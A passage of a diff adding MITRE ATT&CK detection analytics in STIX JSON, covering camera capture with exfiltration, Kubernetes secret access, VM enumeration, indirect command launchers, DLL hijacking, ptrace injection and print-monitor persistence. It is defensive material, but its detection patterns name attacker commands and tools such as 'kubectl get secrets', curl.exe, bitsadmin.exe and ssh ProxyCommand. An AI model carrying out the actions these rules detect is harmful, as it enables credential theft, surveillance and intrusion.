"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Firewall", + "channel": "TLS/HTTP inspection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "/var/log/vmkernel.log, /var/log/vmkwarning.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminPortAccess", + "description": "ESXi hosts should rarely initiate external HTTPS\u2014threshold to alert." + }, + { + "field": "TLSHandshakeOutliers", + "description": "Define entropy or timing anomalies for TLS handshake." + }, + { + "field": "DomainMismatchThreshold", + "description": "SNI/Host mismatch occurrence tolerance." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--171803bb-8aa7-42df-861a-18d6d694f909", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0197#AN0568", + "external_id": "AN0568" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0568", + "description": "A non-standard process (or script-hosted process) loads camera/video-capture libraries (e.g., avicap32.dll, mf.dll, ksproxy.ax), opens the Camera Frame Server/device, writes video/image artifacts (e.g., .mp4/.avi/.yuv) to unusual locations, and optionally initiates outbound transfer shortly after.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational", + "channel": "Process session start/stop events for camera pipeline by unexpected executables" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 0\u201320 minutes) between device access, file creation, and egress." + }, + { + "field": "AllowedProcesses", + "description": "Known legitimate camera consumers (e.g., Teams.exe, zoom.exe, obs64.exe) to suppress." + }, + { + "field": "VideoExtensions", + "description": "List of extensions to flag (.mp4, .avi, .mov, .yuv, .mkv, .h264) \u2013 tune for your estate." + }, + { + "field": "RarePathRegex", + "description": "Regex for unusual storage locations (e.g., %TEMP%\\*, C:\\Windows\\Tasks\\*, user profile hidden dirs)." + }, + { + "field": "MinFileSizeMB", + "description": "Minimum size to reduce FP from thumbnails/snapshots." + }, + { + "field": "ParentProcessAllowList", + "description": "Service/agent parents permitted to broker camera access." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f3c5c71a-da1b-4d09-bda7-ec07b0b7c05d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0197#AN0569", + "external_id": "AN0569" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0569", + "description": "A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "PATH records referencing /dev/video*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:osquery", + "channel": "select: path LIKE '/dev/video%'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyscallSet", + "description": "Which syscalls to audit (openat, read, ioctl) \u2013 performance sensitive." + }, + { + "field": "AllowedCallers", + "description": "Legitimate processes (e.g., motion, Zoom, Chrome) that access /dev/video*." + }, + { + "field": "VideoExtensions", + "description": "List of file extensions to flag (.mp4/.avi/.mov/.mkv/.yuv/.h264)." + }, + { + "field": "MinContinuousReadCount", + "description": "Minimum read/ioctl count to infer continuous capture." + }, + { + "field": "TimeWindow", + "description": "Correlate device open \u2192 file write \u2192 network exfil (e.g., 30m)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db3263c7-0abc-47be-a9f3-434d255b1e0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0197#AN0570", + "external_id": "AN0570" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0570", + "description": "A non-whitelisted process receives TCC camera entitlement (kTCCServiceCamera), opens AppleCamera/AVFoundation device handles, writes .mov/.mp4 artifacts to unusual locations, and/or beacons/exfiltrates soon after.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "Access decisions to kTCCServiceCamera for unexpected binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:endpointsecurity", + "channel": "open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TCCAllowList", + "description": "Legitimate apps (Zoom, Teams, FaceTime) that are permitted to camera." + }, + { + "field": "VideoExtensions", + "description": "Mov/mp4/mkv/yuv etc., tuned to environment workloads." + }, + { + "field": "TimeWindow", + "description": "Correlation between TCC grant \u2192 file write \u2192 network egress." + }, + { + "field": "MinFileSizeMB", + "description": "Reduce FP from thumbnails/snapshots." + }, + { + "field": "LaunchAgentPaths", + "description": "Allowed persistence paths to reduce false positives when correlating with persistence." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2d054232-8968-4d11-b742-536b70bbb1ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0198#AN0571", + "external_id": "AN0571" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0571", + "description": "Detection correlates anomalous Docker or Kubernetes API requests with access to logs, secrets, or service accounts. Observes unauthorized use of `docker logs`, `kubectl get secrets`, or direct API calls to Kubernetes API server endpoints. Identifies behavioral patterns where adversaries escalate from basic pod/container interaction to privileged API calls exposing sensitive credential material.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "docker:api", + "channel": "docker logs access or container inspect commands from non-administrative users" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "kubernetes:apiserver", + "channel": "get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "kubernetes:apiserver", + "channel": "exec into pod followed by secret retrieval via API" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "kubernetes:orchestrator", + "channel": "Access to orchestrator logs containing credentials (Docker/Kubernetes logs)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Tune to exclude known orchestrator admin service accounts or CI/CD pipelines that legitimately access secrets" + }, + { + "field": "NamespaceScope", + "description": "Restrict detection to sensitive namespaces (e.g., kube-system, production apps)" + }, + { + "field": "TimeWindow", + "description": "Adjust correlation timing between pod execution and subsequent API secret retrieval" + }, + { + "field": "SourceIP", + "description": "Filter based on allowed internal API calls vs anomalous external or cross-cluster access" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--44bb0cf8-12ee-4a8f-8701-6c787a008bd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0199#AN0572", + "external_id": "AN0572" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0572", + "description": "Monitor for execution of hypervisor management commands such as `esxcli vm process list` or `vim-cmd vmsvc/getallvms` that enumerate virtual machines. Defenders observe unexpected users issuing VM listing commands outside normal administrative workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedAdminUsers", + "description": "List of known administrators authorized to run ESXi enumeration commands." + }, + { + "field": "UnexpectedCommandPaths", + "description": "Defines restricted paths or contexts where VM enumeration should not occur." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--753ec5a6-9327-452e-ab9c-62b7206c24aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0199#AN0573", + "external_id": "AN0573" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0573", + "description": "Detects attempts to enumerate VMs via hypervisor tools like `virsh`, `VBoxManage`, or `qemu-img`. Defender correlates suspicious command invocations with parent process lineage and unexpected users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: process_name IN (\"virsh\", \"VBoxManage\", \"qemu-img\") AND command IN (\"list\", \"info\")" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NonRootAccounts", + "description": "Monitor non-root users invoking hypervisor management utilities." + }, + { + "field": "KnownAdminScripts", + "description": "Whitelist of scripts expected to run VM enumeration as part of routine operations." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--be2239de-ae8e-442d-a9f6-d34460b94e94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0199#AN0574", + "external_id": "AN0574" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0574", + "description": "Detects enumeration of VMs using PowerShell (`Get-VM`), VMware Workstation (`vmrun.exe`), or Hyper-V (`VBoxManage.exe`). Defender observes suspicious command lines executed by unexpected users or outside normal administrative sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedAdminAccounts", + "description": "Defines which accounts are authorized to execute VM discovery commands." + }, + { + "field": "RoutineScripts", + "description": "Whitelist of approved administrative scripts that legitimately invoke VM enumeration." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86bb41b4-5c8a-4407-b788-8f6ea8457860", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0199#AN0575", + "external_id": "AN0575" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0575", + "description": "Detects VM enumeration attempts using virtualization utilities such as VirtualBox (`VBoxManage`) or Parallels CLI. Defender observes abnormal invocation of VM listing commands correlated with non-admin users or unusual parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Adjust sensitivity depending on whether the command is executed by admin or non-admin users." + }, + { + "field": "ExecutionTimeWindow", + "description": "Restrict alerts to unusual times when VM management is not expected." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9f3aea30-e100-432a-8aa0-959bd7f4e069", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0200#AN0576", + "external_id": "AN0576" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0576", + "description": "Cause\u2192effect chain: (1) A user or service launches an indirection utility (e.g., forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe with -o ProxyCommand/LocalCommand). (2) That utility spawns a secondary program/command (PowerShell, cmd, msiexec, regsvr32, curl, arbitrary EXE) and/or opens outbound network connections. (3) Optional precursor modification of SSH config to persist LocalCommand/ProxyCommand. Correlate process creation, command/script content, file access to %USERPROFILE%\\.ssh\\config, and network connections from the utility or its child.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between indirect launcher and spawned child/network activity (e.g., 10\u201330 minutes)." + }, + { + "field": "AllowedUtilities", + "description": "Utilities permitted on admin/Jumphosts (forfiles, wsl, ssh) to reduce noise." + }, + { + "field": "HighRiskChildren", + "description": "Child images that indicate abuse (powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, mshta.exe, msiexec.exe, curl.exe, bitsadmin.exe)." + }, + { + "field": "UserContext", + "description": "Raise severity when the actor is a standard/interactive user on a workstation rather than a server or CI agent." + }, + { + "field": "DestCIDRs", + "description": "Known-good egress networks for SSH/WSL activity to suppress expected admin automations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--448ecbfb-2b38-4ecc-9c63-f7dd87339271", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0201#AN0577", + "external_id": "AN0577" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0577", + "description": "DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDllPaths", + "description": "Known safe DLL directories to suppress false positives (e.g., C:\\Windows\\System32)." + }, + { + "field": "ProcessAllowList", + "description": "Applications expected to load DLLs from non-standard locations (e.g., development tools)." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between DLL file creation, registry changes, and module load." + }, + { + "field": "HashBaseline", + "description": "Baseline hashes for legitimate DLLs used to detect substitution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--60d70569-0d28-4d98-957c-4676b2411685", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0202#AN0578", + "external_id": "AN0578" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0578", + "description": "Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "EDR:scriptblock", + "channel": "Process Tree + Script Block Logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Cmd.exe launched from uncommon parents (e.g., msedge.exe, winword.exe) may indicate abuse." + }, + { + "field": "TimeWindow", + "description": "Cmd or .bat execution during non-working hours may indicate automation or C2 activity." + }, + { + "field": "CommandLinePattern", + "description": "Flags suspicious switches (e.g., /c ping, /k whoami) or command chaining (&&, ^)." + }, + { + "field": "ScriptStoragePath", + "description": "Batch file execution from %TEMP%, C:\\Users\\Public, or external drives." + }, + { + "field": "UserContext", + "description": "Flags admin-level users executing cmd outside expected baselines." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9bcfaee-d2d1-4673-b834-5c219f8dba9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0203#AN0579", + "external_id": "AN0579" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0579", + "description": "Detects ptrace-based process injection by correlating audit logs of ptrace syscalls, memory modifications (e.g., poketext, pokedata), and suspicious register manipulation on a target process not normally debugged by the originator. Alerts on processes attempting to ptrace non-child or privileged processes, especially those followed by abnormal memory or execution behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "mmap, ptrace, process_vm_writev or direct memory ops" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "linux:osquery", + "channel": "state=attached/debugged" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessNameFilter", + "description": "List of sensitive or rarely-debugged processes (e.g., sshd, systemd, container daemons) to alert on if ptraced" + }, + { + "field": "TimeWindowBetweenPtraceAndMemoryWrite", + "description": "Threshold time (e.g., <10 seconds) between ptrace attach and pokedata syscall" + }, + { + "field": "UserContextMismatch", + "description": "Flag when UID of tracer differs from UID of target process (e.g., privilege escalation or container breakout)" + }, + { + "field": "ProcessRelationshipConstraint", + "description": "Allowlist relationships (e.g., parent-child) under which ptrace is considered benign" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--61729716-59f3-433e-a678-101c18040851", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-27 16:01:17.493000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0204#AN0580", + "external_id": "AN0580" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0580", + "description": "Detects suspicious registry modifications under `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\*\\Driver`, DLL loads by `spoolsv.exe` of non-standard or unsigned modules, and abnormal usage of the `AddMonitor` API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in `C:\\Windows\\System32` not tied to known patches or installations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + 